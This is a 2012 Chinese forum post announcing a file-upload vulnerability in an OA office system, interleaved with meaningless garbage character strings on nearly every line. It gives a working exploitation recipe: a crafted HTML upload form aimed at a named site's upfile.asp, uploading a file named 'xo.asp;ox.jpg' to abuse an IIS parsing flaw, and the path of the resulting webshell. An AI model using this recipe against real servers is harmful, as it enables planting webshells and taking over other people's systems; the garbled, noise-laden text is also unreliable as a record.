全能OA办公系统 上传漏洞
0 e4 C4 X. c# W/ C7 N- u) {9 @' V+ h: o2 X9 l' z1 @* {' O9 y
系统介绍：
6 {4 }. ]8 Z6 m% H |! w p. O8 v l, K) }! y
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。* s, ]$ c/ P0 \3 @% n. g( l
% ]5 W) ~; }& Z7 W. J
主要功能：
8 b$ m2 y8 _! L% j; T; S公司通告
; O4 F7 Y: H* f. ]' P工作计划
; B( S# O8 j# i! f& q, H通讯助理 ' y" |" e! j6 P9 B8 ~& n
客户资源
T0 X. q3 z0 ?: |* m我的公文 E0 u) Q5 k B* F
公文传阅 2 F& \9 O" F* w( \7 K
公共资源
% B3 C' ]; l7 w0 I8 F. W* c资源预约 * R) D2 B* H' i& D
今日考勤 1 F" U7 J% ^. [8 V9 D7 p4 j- @3 T0 v
个人计划
4 d/ |9 Z( |5 b4 J+ x2 a个人通讯录 " `, l; h3 G) N4 Y* _2 n
个人基本档案 7 s1 ]- Z2 }; h) y# ~/ Q2 P
未读邮件 # B! _# @2 i/ n6 T" s5 T- r7 }
发邮件 3 @( O. i8 ]# O0 P* H
收件夹
( P" u1 q* ~% ` r寄件夹 7 i/ N, x" ^, ~
网络硬盘
8 r1 R. G0 f, d3 B网络会议 0 n! k. H A* g! `' k
网络调查
p+ Y* g. r' ~- I* ]交流论坛0 J, E& X; p2 \' H: D; q! B
p& h r6 L* b {有兴趣测试的朋友可以下源码看看
6 L2 [# S7 A- z9 o8 D! X5 t" H' |& z. f8 N( }
源码下载：4 s4 g3 ]$ {/ M
3 o: i7 y G$ H% \- m" a
http://www.mycodes.net/30/4750.htm0 @9 _7 v% h6 T# y' w. u7 D
B( R9 [0 V/ [5 [- L# a2 c: K
漏洞介绍：# X. j: I2 j: n. |! c* T7 Q
% l2 ~' P8 u! K! S由upfile.asp上传文件漏洞引起
( [9 d8 p$ L3 Y E! j U
$ V9 L! k* _2 I# \4 {, {测试方法：
8 S, A$ a+ b1 q7 X" V, h/ y9 E/ P3 {* ?* o P
使用名小子上传http://www.itlynn.com/upfile.asp即可
* u1 O2 ]4 C: _2 K, c m6 u6 f" T
如果upfile.asp文件被删除不存在。
& V! O( A0 L& O" t6 Z7 G. C
( e6 @. [- M( s7 [ 那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
& T6 g/ o6 }( X( ~9 i ^+ H" P: ^5 U) o. W9 s5 m6 T2 r
如果存在那么将如下代码保存为upfile.html。& w4 S$ A! Z _1 }, P
5 M7 T4 J8 G$ Y5 L
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
5 i' f- Q! v' r7 |5 n9 z2 w O. i1 c- H
, J* I) [8 U( B9 z1 ~, U1 U1 h% f4 N1 {: a+ m; L( u7 V
01 <table border='0' align="center" cellpadding="5"> 2 g: V$ o3 [7 }
8 n; m1 \0 Q7 \
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
/ h; r: V& R7 \' g. j: o T
3 z( P9 ^8 ~! U/ R& \, k0 X9 P. N2 i03 <tr> : n& E, U2 S f" E: c
) o; N& Z+ ]; C! Z04 <td>报错：</td> $ F% c) K) S/ }. v4 O! h! b+ b
+ z# \& l; g/ r6 f* I; a# D- O3 G; u05 <td><input type='radio' name='errnumber' value='0'>
+ J# `: M& Y# ~
- N( O/ Y# ~& G% H, L06 自动更名 4 ]% Z6 u( t$ d# H; V
! k* j* l9 P% T
07 <input type='radio' name='errnumber' value='1' checked>
' w6 c9 ]( X9 W! i1 a6 E% q0 \
/ L7 d$ w) w0 P8 `08 报错方式 + }( ~$ a- O; `
1 H: M7 Q5 ?* O% ]
09 <input type='radio' name='errnumber' value='2'>
3 _, z" w; m% }4 ~7 z! `- E) x. H( a5 ]
3 l- F! E- y4 g- B( |5 U10 直接覆盖</td>
' y# y- `9 }2 B4 |" l- c
2 I o5 k4 L( j11 </tr> . @# t) J" d+ O+ ]) P+ H( Y' S
. U6 l6 V6 W3 b. F( G3 _12 <tr>
7 L2 Y$ ]& l) U0 \* j
+ _/ n3 H: V* E. k2 n: \13 <td>主题：</td>
6 L2 N( V, m5 y" v/ @! D0 C. E# v
% o9 C7 h8 \5 {/ W, y: v14 <td><input type='text' name='filename' size='30'></td> 7 `3 R; Q9 c$ E, y
$ g# `+ a& J7 I) Y15 </tr>
f, m/ F3 O/ z) T
: g+ U# d/ q! @, K1 m6 r16 <tr> . A8 G+ e6 v2 `4 n" L
6 M7 b$ y! C r' C: W17 <td>文件：</td>
& r+ z" q* v& C$ d% V# X! N" N8 N1 ~! N4 _" m8 h
18 <td><input type="file"name="fruit"size="30"></td> : M4 s1 r0 `2 `4 h5 X, G+ N
# n7 v" F+ E4 h' ]" d
19 </tr> 9 L; X! S6 L* d# D6 W5 o1 ]* T+ l
4 z' F) d) f5 F: t a9 |6 b20 <tr>
, y& O5 ^* T) [. u' o
) ^+ M- p, e* i+ X! X7 H j& [21 <td valign='top'>简介：</td>
" e5 ~* l( Q' a N. k! M6 |
4 I- I7 e* Z2 h22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
5 @& I& O9 u$ t. I% W2 f: f4 }9 w& y. |
2 `* f) d+ R& ~' I' W23 </tr>
& {2 |7 L: Z# Y% Z
% U5 n1 N1 O' O& S3 W$ _# q24 / a' ~ X* v8 g" K. L% U
, G4 I# ?' x8 y. P0 V
25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td> 6 K+ u+ x: W( A$ Y9 U
7 C$ F* H8 [) B9 z$ f, [5 F
26 </tr> 1 I8 N1 Q" m+ x1 L+ T
" r3 t+ [! j7 s1 N27 </form> / q. x0 w5 t6 U6 g
+ e* a, v7 y5 v& u8 k然后打开上传一个文件名为xo.asp;ox.jpg的文件。( [ D9 Y1 V1 Z/ T
( O) F. a+ u( i6 h* u' ?0 D# f: N % P! Q3 t" r! K5 d
* a0 t* h0 O. ~/ H上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg8 G8 r; N, s4 n
7 A, H n: @# D" U: l此漏洞需要配合解析漏洞利用。
: }, G# }2 k' R$ B8 d5 S; ~' g' C) h. P& P" v+ p( R7 x
|
发表于 2012-11-21 13:45:12
收藏
支持
反对